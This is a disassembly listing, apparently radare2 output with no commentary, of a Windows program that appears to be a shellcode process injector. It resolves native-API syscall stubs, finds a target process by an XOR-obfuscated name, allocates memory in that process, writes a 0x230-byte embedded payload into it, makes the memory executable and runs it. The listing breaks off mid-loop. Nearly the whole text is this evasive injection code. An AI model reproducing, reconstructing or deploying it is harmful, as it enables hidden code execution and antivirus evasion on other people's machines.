lea rax, [rbp + 0x49f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4a10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4a30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4a50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4a70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4a9f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x4aa0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x4aa0]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x4aa0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140008524
lea rbx, [0x14041758e]
jmp 0x14000852b
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4d0f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x4d0f]
lea rax, [rbp + 0x4ce0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4cc0]
lea rdx, [rbp + 0x4ce0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ca0]
lea rdx, [rbp + 0x4cc0]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4c80]
lea rdx, [rbp + 0x4ca0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4c60]
lea rdx, [rbp + 0x4c80]
lea r8, [0x1404175d4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4c40]
lea rdx, [rbp + 0x4c60]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4c20]
lea rdx, [rbp + 0x4c40]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4c00]
lea rdx, [rbp + 0x4c20]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4be0]
lea rdx, [rbp + 0x4c00]
lea r8, [0x1404175da]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4bc0]
lea rdx, [rbp + 0x4be0]
lea r8, [0x1404175c8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ba0]
lea rdx, [rbp + 0x4bc0]
lea r8, [0x1404175d2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4b80]
lea rdx, [rbp + 0x4ba0]
lea r8, [0x1404175c2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4b60]
lea rdx, [rbp + 0x4b80]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4b40]
lea rdx, [rbp + 0x4b60]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4b20]
lea rdx, [rbp + 0x4b40]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4b00]
lea rdx, [rbp + 0x4b20]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ae0]
lea rdx, [rbp + 0x4b00]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ac0]
lea rdx, [rbp + 0x4ae0]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x4ac0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x4ac0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ae0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4b00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4b20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4b40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4b60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4b80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ba0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4bc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4be0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4c00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4c20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4c40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4c60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4c80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ca0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4cc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ce0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4d0f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x4d10]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x4d10]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x4d10]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140008917
lea rbx, [0x14041758e]
jmp 0x14000891e
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4f9f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x4f9f]
lea rax, [rbp + 0x4f70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4f50]
lea rdx, [rbp + 0x4f70]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4f30]
lea rdx, [rbp + 0x4f50]
lea r8, [0x1404175c0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4f10]
lea rdx, [rbp + 0x4f30]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ef0]
lea rdx, [rbp + 0x4f10]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4ed0]
lea rdx, [rbp + 0x4ef0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4eb0]
lea rdx, [rbp + 0x4ed0]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4e90]
lea rdx, [rbp + 0x4eb0]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4e70]
lea rdx, [rbp + 0x4e90]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4e50]
lea rdx, [rbp + 0x4e70]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4e30]
lea rdx, [rbp + 0x4e50]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4e10]
lea rdx, [rbp + 0x4e30]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4df0]
lea rdx, [rbp + 0x4e10]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4dd0]
lea rdx, [rbp + 0x4df0]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4db0]
lea rdx, [rbp + 0x4dd0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4d90]
lea rdx, [rbp + 0x4db0]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4d70]
lea rdx, [rbp + 0x4d90]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4d50]
lea rdx, [rbp + 0x4d70]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x4d30]
lea rdx, [rbp + 0x4d50]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x4d30]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x4d30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4d50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4d70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4d90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4db0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4dd0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4df0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4e10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4e30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4e50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4e70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4e90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4eb0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ed0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4ef0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4f10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4f30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4f50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4f70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x4f9f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x4fa0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x4fa0]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x4fa0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140008d36
lea rbx, [0x14041758e]
jmp 0x140008d3d
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140002dc9
mov qword [rbp + 0x24a8], 0x230
mov rax, qword [0x140412fd8]
mov qword [rbp + 0x24a0], rax
mov rax, qword [rbp + 0x24a8]
mov rdx, rax
lea rax, [0x140412fe0]
mov rcx, rax
call fcn.140001a77
mov dword [rbp + 0x2370], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x52a0], rax
mov dword [rbp + 0x5398], 0
lea rax, [rbp + 0x2362]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.140002f6e
lea rdx, [rbp + 0x2370]
mov rax, qword [rbp + 0x52a0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140009062
jmp 0x14000903e
lea rax, [rbp + 0x2362]
mov qword [rbp + 0x5258], rax
mov rax, qword [rbp + 0x5258]
mov qword [rbp + 0x5250], rax
mov rax, qword [rbp + 0x5250]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140008ed0
mov rax, qword [rbp + 0x5258]
mov rdx, qword [rbp + 0x5258]
mov qword [rbp + 0x5248], rdx
mov qword [rbp + 0x5240], rax
mov dword [rbp + 0x523c], 0
jmp 0x140008ec6
mov eax, dword [rbp + 0x523c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5240]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x523c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5248]
mov eax, dword [rbp + 0x523c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x523c], 1
cmp dword [rbp + 0x523c], 0xd
jle 0x140008e67
nop
lea rax, [rbp + 0x2362]
lea rdx, [rbp + 0x2370]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x14000903e
mov eax, dword [rbp + 0x2378]
mov dword [rbp + 0x5398], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.140002ff0
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5230], rax
mov rax, qword [rbp + 0x5230]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140008fd0
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5228], rdx
mov qword [rbp + 0x5220], rax
mov dword [rbp + 0x521c], 0
jmp 0x140008fc6
mov eax, dword [rbp + 0x521c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5220]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x521c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5228]
mov eax, dword [rbp + 0x521c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x521c], 1
cmp dword [rbp + 0x521c], 0xe
jle 0x140008f67
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2362]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2368]
mov qword [rbp - 0x3a], rdx
mov ecx, dword [rbp + 0x5398]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x1404175dc]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5218], 0
jmp 0x140009032
mov eax, dword [rbp + 0x5218]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5218], 1
cmp dword [rbp + 0x5218], 0xe
jle 0x14000901b
nop
jmp 0x140009062
lea rdx, [rbp + 0x2370]
mov rax, qword [rbp + 0x52a0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x140008e0b
mov rax, qword [rbp + 0x52a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5398], 0
jne 0x1400091af
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.14000307a
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5210], rax
mov rax, qword [rbp + 0x5210]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x140009143
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x5208], rdx
mov qword [rbp + 0x5200], rax
mov dword [rbp + 0x51fc], 0
jmp 0x140009139
mov eax, dword [rbp + 0x51fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5200]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51fc]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5208]
mov eax, dword [rbp + 0x51fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51fc], 1
cmp dword [rbp + 0x51fc], 0x43
jle 0x1400090da
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2362]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2368]
mov qword [rbp - 0x3a], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51f8], 0
jmp 0x140009196
mov eax, dword [rbp + 0x51f8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51f8], 1
cmp dword [rbp + 0x51f8], 0x43
jle 0x140009182
nop
mov esi, 1
mov ebx, 0
jmp 0x14000a770
mov qword [rbp + 0x2358], 0
mov qword [rbp + 0x2348], 0
mov eax, dword [rbp + 0x2378]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp + 0x2340], rax
mov dword [rbp + 0x2310], 0x30
mov qword [rbp + 0x2318], 0
mov dword [rbp + 0x2328], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2330], 0
mov qword [rbp + 0x2338], 0
mov r10, qword [0x140443080]
lea rcx, [rbp + 0x2340]
lea rdx, [rbp + 0x2310]
lea rax, [rbp + 0x2358]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x2304]
lea rdx, [rbp + 0x4fd0]
mov rcx, rax
call fcn.1400032ac
lea rax, [rbp + 0x22f0]
lea rdx, [rbp + 0x4fd1]
mov rcx, rax
call fcn.14000331e
mov qword [rbp + 0x5298], 0
mov qword [rbp + 0x22e8], 0
mov dword [rbp + 0x22dc], 0
mov qword [rbp + 0x5290], 0xe
mov r10, qword [0x140443038]
mov rax, qword [rbp + 0x2358]
lea rcx, [rbp + 0x24a8]
lea rdx, [rbp + 0x22e8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x4fd2]
mov rcx, rax
call fcn.1400033b0
lea rax, [rbp + 0x22b0]
mov qword [rbp + 0x51f0], rax
mov rax, qword [rbp + 0x51f0]
movzx eax, byte [rax + 0x2b]
test al, al
setne al
test al, al
je 0x1400093ab
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x22b0]
mov qword [rbp + 0x51e8], rdx
mov qword [rbp + 0x51e0], rax
mov dword [rbp + 0x51dc], 0
jmp 0x1400093a1
mov eax, dword [rbp + 0x51dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51dc]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51e8]
mov eax, dword [rbp + 0x51dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51dc], 1
cmp dword [rbp + 0x51dc], 0x2b
jle 0x140009342
nop
lea rax, [rbp + 0x22b0]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51d8], 0
jmp 0x1400093f0
mov eax, dword [rbp + 0x51d8]
cdqe
mov byte [rbp + rax + 0x22b0], 0
add dword [rbp + 0x51d8], 1
cmp dword [rbp + 0x51d8], 0x2b
jle 0x1400093d9
nop
lea rax, [rbp + 0x22a2]
lea rdx, [rbp + 0x4fd3]
mov rcx, rax
call fcn.140003522
mov r8, qword [rbp + 0x22e8]
lea rax, [rbp + 0x22a2]
mov qword [rbp + 0x51d0], rax
mov rax, qword [rbp + 0x51d0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x1400094ce
lea rax, [rbp + 0x22a2]
lea rdx, [rbp + 0x22a2]
mov qword [rbp + 0x51c8], rdx
mov qword [rbp + 0x51c0], rax
mov dword [rbp + 0x51bc], 0
jmp 0x1400094c4
mov eax, dword [rbp + 0x51bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51c0]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x51bc]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x51c8]
mov eax, dword [rbp + 0x51bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51bc], 1
cmp dword [rbp + 0x51bc], 0xd
jle 0x140009465
nop
lea rax, [rbp + 0x22a2]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51b8], 0
jmp 0x14000950a
mov eax, dword [rbp + 0x51b8]
cdqe
mov byte [rbp + rax + 0x22a2], 0
add dword [rbp + 0x51b8], 1
cmp dword [rbp + 0x51b8], 0xd
jle 0x1400094f3
nop
mov r10, qword [0x140443040]
mov r9, qword [rbp + 0x24a8]
mov r8, qword [0x1404430d0]
mov rdx, qword [rbp + 0x22e8]
mov rax, qword [rbp + 0x2358]
lea rcx, [rbp + 0x22e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x4fd4]
mov rcx, rax
call fcn.1400035a4
lea rax, [rbp + 0x2270]
mov qword [rbp + 0x51b0], rax
mov rax, qword [rbp + 0x51b0]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x14000961c
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2270]
mov qword [rbp + 0x51a8], rdx
mov qword [rbp + 0x51a0], rax
mov dword [rbp + 0x519c], 0
jmp 0x140009612
mov eax, dword [rbp + 0x519c]
movsxd rdx, eax
mov rax, qword [rbp + 0x51a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x519c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51a8]
mov eax, dword [rbp + 0x519c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x519c], 1
cmp dword [rbp + 0x519c], 0x23
jle 0x1400095b3
nop
lea rax, [rbp + 0x2270]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5198], 0
jmp 0x140009661
mov eax, dword [rbp + 0x5198]
cdqe
mov byte [rbp + rax + 0x2270], 0
add dword [rbp + 0x5198], 1
cmp dword [rbp + 0x5198], 0x23
jle 0x14000964a
nop
mov r10, qword [0x140443048]
mov rax, qword [rbp + 0x2358]
lea r8, [rbp + 0x24a8]
lea rdx, [rbp + 0x22e8]
lea rcx, [rbp + 0x22dc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x4fd5]
mov rcx, rax
call fcn.1400036d6
lea rax, [rbp + 0x2240]
mov qword [rbp + 0x5190], rax
mov rax, qword [rbp + 0x5190]
movzx eax, byte [rax + 0x25]
test al, al
setne al
test al, al
je 0x140009772
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2240]
mov qword [rbp + 0x5188], rdx
mov qword [rbp + 0x5180], rax
mov dword [rbp + 0x517c], 0
jmp 0x140009768
mov eax, dword [rbp + 0x517c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5180]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x517c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5188]
mov eax, dword [rbp + 0x517c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x517c], 1
cmp dword [rbp + 0x517c], 0x25
jle 0x140009709
nop
lea rax, [rbp + 0x2240]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5178], 0
jmp 0x1400097b7
mov eax, dword [rbp + 0x5178]
cdqe
mov byte [rbp + rax + 0x2240], 0
add dword [rbp + 0x5178], 1
cmp dword [rbp + 0x5178], 0x25
jle 0x1400097a0
nop
mov rax, qword [rbp + 0x2358]
mov rcx, rax
call fcn.140002c01
mov rdx, qword [rbp + 0x22e8]
mov rax, qword [rbp + 0x2358]
mov rcx, rax
call fcn.140002831
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x1404430c0]
mov rax, qword [rbp + 0x2358]
lea rcx, [rbp + 0x24a8]
lea rdx, [rbp + 0x22e8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x4fd6]
mov rcx, rax
call fcn.140003818
lea rax, [rbp + 0x2210]
mov qword [rbp + 0x5170], rax
mov rax, qword [rbp + 0x5170]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x1400098f2
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2210]
mov qword [rbp + 0x5168], rdx
mov qword [rbp + 0x5160], rax
mov dword [rbp + 0x515c], 0
jmp 0x1400098e8
mov eax, dword [rbp + 0x515c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5160]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x515c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5168]
mov eax, dword [rbp + 0x515c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x515c], 1
cmp dword [rbp + 0x515c], 0x27
jle 0x140009889
nop
lea rax, [rbp + 0x2210]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5130], 0
jmp 0x140009937
mov eax, dword [rbp + 0x5130]
cdqe
mov byte [rbp + rax + 0x2210], 0
add dword [rbp + 0x5130], 1
cmp dword [rbp + 0x5130], 0x27
jle 0x140009920
nop
lea rax, [rbp + 0x2304]
mov qword [rbp + 0x5150], rax
mov rax, qword [rbp + 0x5150]
mov qword [rbp + 0x5148], rax
mov rax, qword [rbp + 0x5148]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009a06
mov rax, qword [rbp + 0x5150]
mov rdx, qword [rbp + 0x5150]
mov qword [rbp + 0x5140], rdx
mov qword [rbp + 0x5138], rax
mov dword [rbp + 0x5134], 0
jmp 0x1400099fc
mov eax, dword [rbp + 0x5134]
movsxd rdx, eax
mov rax, qword [rbp + 0x5138]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5134]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
